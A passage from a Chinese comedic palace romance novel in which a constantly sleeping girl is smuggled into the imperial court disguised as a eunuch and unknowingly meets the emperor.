接手先人的江山多没意思?像这样开创自己的王国岂不有趣多了!

“可是他……”君棣已经不晓得派多少人来请人了啊!

“请他们回去吧!”君不为唇边依旧凝挂着那抹淡淡的笑容,“我看他现在不也玩得很乐?他倒是挺适合坐那位子的嘛!”

“君爷……”看来君爷是真的不会回去了。可怜的使者,又白跑一趟了!

“快去。”君不为平淡的语气中隐着不容置疑。

“是。”勾勒飞快退下。

君爷不回去当天朝的皇帝,可惜的不知是天朝,还是君爷……君爷那一身浑然天成的帝王气息,要人看了不敬畏也难!

原来昏昏欲睡的郑菏,被温氏拖到太监那儿去要验身的时候,已经完全睡得不省人事了。

“我说各位爷儿,我们郑家的男丁就这一个了!”温氏表面上陪着笑脸,心里是忐忑极了。

“他?”太监之一打量着睡觉是眼睛还张得大大的郑菏,压根不知道她在睡觉。“我怎么觉得他两眼有点无神?”

“嘿……”都睡成那样了还会有神才怪!温氏在心里暗啐着。“喔,是这样的,我因为要省去你们的麻烦,所以干脆在家里就把‘他’给阉了。我想‘他’现在是体力负荷不了,所以看起来比较无力……‘你’说是不是?”她说完还推了推旁边睡得一塌糊涂的郑菏。

郑菏哪知道温氏在说些什么,还在睡的她,当然是很努力地点着她的头,以至于又被众人误会了。

“原来是这样。你想得倒是挺周到的嘛!”太监之二笑眯眯的,突如其来的往郑菏下体摸了一把。

没有!真的是净过身子的!

温氏见状一惊,啊,怎么办?她的女儿被人家给乱摸了!管她的,反正她女儿原来就嫁不掉,被摸一下也没关系啦!

最重要的是,赶快把女儿从郑家变不见,这才是重点!

“像我这种贱民,怎么能不体恤各位差爷的辛苦?”温氏胆战心惊,生怕会露出马脚。

“好,你们郑家就他一个是吧?”太监之三抓过郑菏,问道:“他叫什么名字?”

“郑禾,稻禾的禾。”温氏随口乱诌了一个名字。

“好,带进去。”太监之四命令道。

太好了!成功了!脱离苦海了!温氏雀跃万分地向太监们道谢,只差没买爆竹来庆祝了。

郑菏实在是搞不清楚这究竟是怎么一回事,只知道自己一醒过来就置身宫中,身着太监的衣服,活脱脱成了一个太监。

为什么会变成这样呢?她实在很难追根究底。而且据她多年来沉睡的经验,她还是不要弄清来龙去脉比较好,免得最后她懂了,其他人却都一头雾水,全梦周公去了。

开玩笑,要睡的话,当然是她睡,哪能把这种好处让给别人?所以她当然是能不问则不问,能不说则不说,尽量把握光阴来睡眠。

“郑禾?我刚刚跟你交代的事情,你听清楚了没有?”太监一号对着郑禾滔滔不绝了许久,终于结束发言。

郑禾扯开微笑虚应着,“听清楚了。”

奇怪,这个太监是说了什么东西,她怎么全部都没有听到?只有很高兴的声音从右耳跑进去,又从左耳跑出来,半点记忆也没残存。

反正不只道的事,全部都假装知道就是了。

“知道的话,还不赶快去服侍皇上?”嘿嘿,他终于把要替他位子的郑禾给教好了,现在他可以快点退隐,以防皇上砍他的头了。

“喔,好。”郑菏卖力地点头。

服侍皇上、服侍皇上……皇上到底在哪里啊?这真是一个令人头痛的问题……如果可以睡觉……

啊,还是赶快去找皇上吧!免得还没找到,这颗头已经没了,那她也就甭睡了!

气死人了!真是气死人了!

派人去请君不为那个不肖侄子回来当皇帝,就是想能与自己先前跟太监说的话搭配——刚好自己不想当了,而君不为又神奇地出现,回来当皇帝!

结果,那小子居然一而再、再而三的遣退他的人!开玩笑,他可是派人航行老远,才到君不为那里的耶!

君不为那小子就不会念在他是老叔父的份上,给他一点面子吗?

好,他承认是他想太多,要是那小子有良心的话,就不会设计把皇位让给他顶了!

“你在做什么?”

气过头的君棣眼角看到有个女人穿着太监的衣服,在宫里探头探脑的,不知道她在做什么。

“我?”郑菏望了望眼前的人,又指了指自己,不知道要不要把自己迷路,又找不到皇上的蠢事告诉眼前人。

“对,就是你!”也难怪这个女人不对他下跪了,因为他刚刚早气得把龙袍都脱掉,又把一群太监宫女全给遣退,这女人恐怕还不知道他就是那个倒霉的皇上吧!

郑菏思来想去,决定还是告知眼前人她的窘境,反正这皇宫内应该不会有人睡得比她多,所以应该也不会有人比她会迷路。

“我要去服侍皇上,可是我不知道皇上在哪里。”郑菏清醒时的眸子可是闪闪发亮的,“你知不知道啊?”

“我知道啊!”君棣点了点头。他就是那个正主儿,怎么会不晓得自己在哪里?

“那快点带我去!”郑菏仿佛找到救星似的瞅着他。

“等等。”君棣实在很怀疑这女人究竟是怎么混进宫的,又穿着太监的衣服。

难不成所有的人都瞎了,不知道她是女儿身?这可是一个标致的女娃儿呢!

“等什么等啊?再等下去,我的头都不见了啦!”她已经迷了够久的路,实在没空再等了。

“你的头不会不见的。”君棣皱了皱眉头。他有那么喜欢砍人的头吗?怎么他自己都不晓得?

“你怎么那么笃定?”郑菏兀自想了一想,豁然开朗,“啊,你跟皇上很熟,所以可以为我说情,对不对?”

“算是吧!”真不幸,他跟皇上真的是熟到不行了!

“那你快点告诉我皇上在哪里啊!”郑菏急忙问道。

“就跟你说等等嘛!”君棣望着郑菏,突然觉得这个正值花样年华的姑娘跟某个人很和称。

那个蛮荒地带,应该没有那么标致的女娃儿吧?

“为什么要等?”郑菏感到极端不解,“既然你跟皇上很熟,当然要让我快点去服侍皇上啊,免得皇上没人服侍,很多事不能做。”

君棣翻了个白眼。为什么听她说起来,好像他是那种没手没脚,没人照顾就会翘辫子的人?

“你放心,不会的,你先回答我几个问题吧!”君棣决定问清这女娃儿怎么会出现在宫中的。

“喔,好吧!”既然是她有求于人,那她回答人家好象也是理所当然。

“你明明是女人,为什么会变成一个太监出现在宫里?”君棣最质疑的就是这点。

“咦,你也发现了啊?”郑菏瞪大了水盈盈的亮眸,好象找到知音一样高兴。

“废话!”没发现的人才是白痴!这女娃儿的身材玲珑有致,面容姣好,要是他年轻个二十岁,肯定不放过!

“喔,那我就告诉你事实,就是——”郑菏摊了摊手,“我也不知道!”她很无奈地摇了摇头,说出实情。

“你也不知道?”饶是君棣这种见过大风大浪的人,听到这种答案,也很难不讶异。

这不就摆明了被卖掉还帮人家数银票吗?

“对啊!”郑菏点头如捣蒜,“我也不知道。”

“你怎么会不知道?”君棣发现这是自从他被君不为摆了一道之后,最一头雾水的一件事了!

实在应该将这两个人给配在一起才对。真是绝配!一个是什么事都先算计好在心里头,另一个是什么都不晓得!

“我真的不知道啊!”郑菏自己也很无奈。“因为我从头到尾都在睡觉,起来的时候就在宫里头了嘛!”

“在睡觉?”君棣扬了扬眉,“难不成你是被下药了?”若是这样,的确很可能什么都不知道。

郑菏嫌恶的皱了皱眉,“被下药?我才没有那么蠢呢!要被下药才能睡得着。这不是很可怜吗?我是可以自动睡,无所不能的睡,任何时间都睡,而且都不用吃药!”

她怎么越说越得意了?能这样睡是很骄傲的事吗——慢着!他的思绪居然被这个小女娃儿拖着走了!

“你的意思是,你可以这样一直睡,睡到不省人事?”现在用‘不省人事’这个词,还不是普通的贴切!

“对啊。”郑菏一脸没什么困难的表示,“反正就是我在家里睡着了,醒来的时候已经在皇宫,变成一名太监了!”

“可你明明是女娃儿,你难道不会跟别人说清楚?”君棣实在弄不懂她脑袋瓜在想些什么。

“要说清楚,很难耶!”郑菏解释道,“既然大家都当我是太监,那我就当嘛!还要去跟别人说我是女人,难不成要我脱衣服啊?”

“这倒也是。”要一个女娃儿脱衣服好象也不太好。她看起来分明就是个不解人事的处子!

“对啊!”郑菏见君棣同意她的话语,高兴不已,“你都不知道,要脱衣服是一件很麻烦的事,我常常脱到一半就睡着了!”

君棣差点没昏倒。原来她在意的跟他所想的根本就是两回事!

“总之我是将错就错,待在宫里当太监了。反正宫里人多,我睡着了也不太有人发现!”郑菏终于解说完毕。“我已经说完了,你可以带我去找皇上了吗?”她眼巴巴地望着他。

“我不用带你去找。”君棣说道。

“为什么?”郑菏气愤的开始指责他,“你言而无信!”怎么可以她说完了,他却半点也不贡献呢?不公平!

“很简单,因为你就站在他的面前。”



上一篇[古典武俠]古代名女人笑传(全文)-16下一篇[古典武俠]古代名女人笑传(全文)-15